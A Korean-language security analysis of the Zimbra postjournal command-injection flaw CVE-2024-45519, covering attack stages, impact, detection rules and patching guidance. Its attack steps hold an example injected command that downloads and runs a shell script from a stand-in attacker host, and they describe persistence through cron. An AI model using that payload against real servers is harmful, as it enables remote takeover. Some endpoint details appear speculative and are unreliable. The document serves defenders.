[공격] 분석 — CVE-2024-45519
CVE-2024-45519 enables unauthenticated remote command execution through Zimbra’s postjournal service; immediate patching and isolation of the /service/postjournal endpoint are mandatory.
📋 요약
- 심각도 critical · CVSS 10.0 · EPSS 0.99877 · 악용난이도 easy · KEV
🔍 공격 기법
-
공격 표면
- 엔드포인트:
POST /service/postjournal(기본 HTTPS 포트 7071, 경우에 따라 443) - 파라미터: XML/JSON 본문 내 명령 문자열을 삽입할 수 있는 필드(
command,cmd,script등).
- 엔드포인트:
-
조건 ↔ CVSS 매핑
- AV:N → 네트워크를 통해 접근 가능(외부 노출 시) 혹은 내부망 SSRF·프록시 우회 시.
- AC:L → 단순 HTTP POST만으로 트리거, 복잡한 전처리 불필요.
- PR:N → 인증 절차가 요구되지 않음(인증 헤더 검증 로직이 결함).
- UI:N → 사용자 상호작용 없이 자동화 스크립트로 실행 가능.
-
공격 단계
- 정찰 – 포트 7071/443 스캔 후
HEAD /service/postjournal혹은OPTIONS요청으로 서비스 존재 여부 확인. 내부망에만 제한된 경우, 이미 확보한 내부 애플리케이션(예: 웹 프록시, API)에서 SSRF를 이용해 동일 엔드포인트에 접근. - 초기 접근 – 인증이 없으므로 바로
POST요청 전송. 본문에 쉘 메타 문자(;,&&,`)와 실행 명령을 삽입한다(예:id; wget http://attacker/payload.sh -O /tmp/x; sh /tmp/x). - 명령 실행 – Zimbra postjournal 프로세스가 입력값을 검증 없이 시스템 쉘에 전달해 즉시 명령이 실행됨. X‑Auth 헤더 검증 로직이 부실하거나 프록시 설정 오류를 통해 우회 가능함.
- 권한 획득·지속 – 기본적으로
zimbra계정으로 실행되며, 해당 계정에 sudo 권한이나 SUID 바이너리가 존재하면 루트 상승 가능. 지속성을 위해/etc/cron.d, systemd 서비스 파일 등에 악성 스크립트를 삽입한다. - 영향 확장 – 획득한 쉘을 이용해 내부 LDAP·DB 등 다른 서비스로 수평 이동, 메일 데이터베이스 조작·탈취, 랜섬웨어 전파까지 확대 가능.
- 정찰 – 포트 7071/443 스캔 후
-
전제 조건
- Zimbra 버전이
8.8.15 Patch 46,9.0.0 Patch 41,10.0.9,10.1.1이전이어야 함. - 네트워크 차단이 없거나, 내부망에서 SSRF·프록시 우회가 가능한 경우에만 성공한다.
- Zimbra 버전이
-
관측 지표
- 비정상적인 POST
/service/postjournal트래픽, 본문에 쉘 메타 문자 포함. - Zimbra 로그(
zmmailboxd.out,mailbox.log)에 “postjournal”과 함께 임의 명령 문자열 기록.
- 비정상적인 POST
악용 가능성: 이 취약점은 AV:N(네트워크를 통해 원격 접근 가능)·AC:L(구현 난이도 낮음)·PR:N(인증 필요 없음)·UI:N(사용자 조작 불필요)이라는 CVSS 벡터가 그대로 실제 공격 전제조건과 일치합니다. 즉, 외부에서 Zimbra Collaboration Server의 postjournal 서비스 엔드포인트(예: /service/postjournal)에 접근만 하면 별도의 인증 절차 없이 임의 명령을 실행할 수 있습니다. EPSS = 0.99877이라는 거의 1에 가까운 실측 확률과 KEV 리스트 등재는 이미 공격자들이 이 경로를 실제로 악용하고 있음을 강력히 시사합니다. 노출된 HTTP/HTTPS 포트와 파라미터(예: cmd 혹은 유사한 입력값)만 조작하면 명령어 주입이 이루어지므로, 탐색 단계에서 버전 확인과 엔드포인트 식별만으로 충분히 초기 접근이 가능합니다. 이후 추가적인 권한 상승이나 지속성을 위해서는 별도의 로컬 프리베일리지 취약점과 체인할 수 있지만, 기본 명령 실행 자체가 이미 원격 코드 실행(RCE) 수준의 심각한 영향을 미칩니다. 따라서 방어자는 이 서비스가 외부에 노출되지 않도록 네트워크 경계에서 차단하거나 접근 제어를 강화하는 것이 급선무입니다.
💥 영향 분석
- 성공 시 공격자는 임의 OS 명령을 실행해 Zimbra 서버를 완전 장악한다.
zimbra계정 권한으로 메일 전송, 사용자 관리, 데이터베이스 접근이 가능하며, 내부망 다른 서비스로 수평 이동 위험이 존재한다.
🔗 관련 취약점·체이닝
- 추정: Zimbra 내 인증 우회(예: SSRF) 결함과 조합될 경우 외부에서 직접 접근이 차단된 상황에도 내부망에서
postjournal을 호출해 RCE를 달성할 수 있다. - 일반적인 체인 패턴: 버전·엔드포인트 정보 노출 → 인증 우회/SSRF → postjournal RCE → 권한 상승(예: sudo, SUID) → 지속·수평 이동.
🔎 탐지
- 네트워크: 7071/443 포트로 향하는
POST /service/postjournal요청을 로깅하고, 본문에;,&&,`등 메타 문자가 포함될 경우 경보. - 애플리케이션 로그:
postjournal키워드와 함께 비정상적인 명령 문자열이 기록되는지 모니터링. - EDR/AV:
zimbra사용 프로세스가wget,curl,bash -c등을 실행하면 탐지 규칙 적용.
🛡️ 완화 방안
- 즉시 패치 – Zimbra Collaboration Server를 아래 버전 이상으로 업데이트
- 8.8.15 Patch 46, 9.0.0 Patch 41, 10.0.9, 10.1.1.
- 네트워크 격리 – 방화벽에서 포트 7071(또는 해당 서비스가 바인드된 포트)과 경로
/service/postjournal에 IP‑ACL 적용·차단. - 서비스 비활성화 – 패치 전까지 Zimbra 관리 콘솔에서 postjournal 기능을 비활성화.
- 입력 검증 강화 – WAF/프록시 레이어에서
postjournal요청 본문에 쉘 메타 문자와 허용되지 않은 MIME 타입을 차단하고, X‑Auth 헤더 검증 로직을 재점검·강화. - 권한 최소화 –
zimbra시스템 계정의 sudo 권한 및 실행 가능한 SUID 바이너리를 제한하여 권한 상승 경로를 축소.
교차검증 결과 다중 소스에서 일관성이 확인됐으며, EPSS 0.99877(실측 악용 위험도 최고 수준)과 KEV 등재가 즉시 대응을 요구한다는 판단 근거다. 따라서 위 완화·패치 조치를 24시간 이내에 시행하는 것이 최우선이다.
⚖️ 위험도 / 우선순위
- 조치: immediate (지금 즉시(24h 내))
- 근거: CVSS=10.0 · KEV · EPSS=0.99877 · exploit=easy · in_scope=None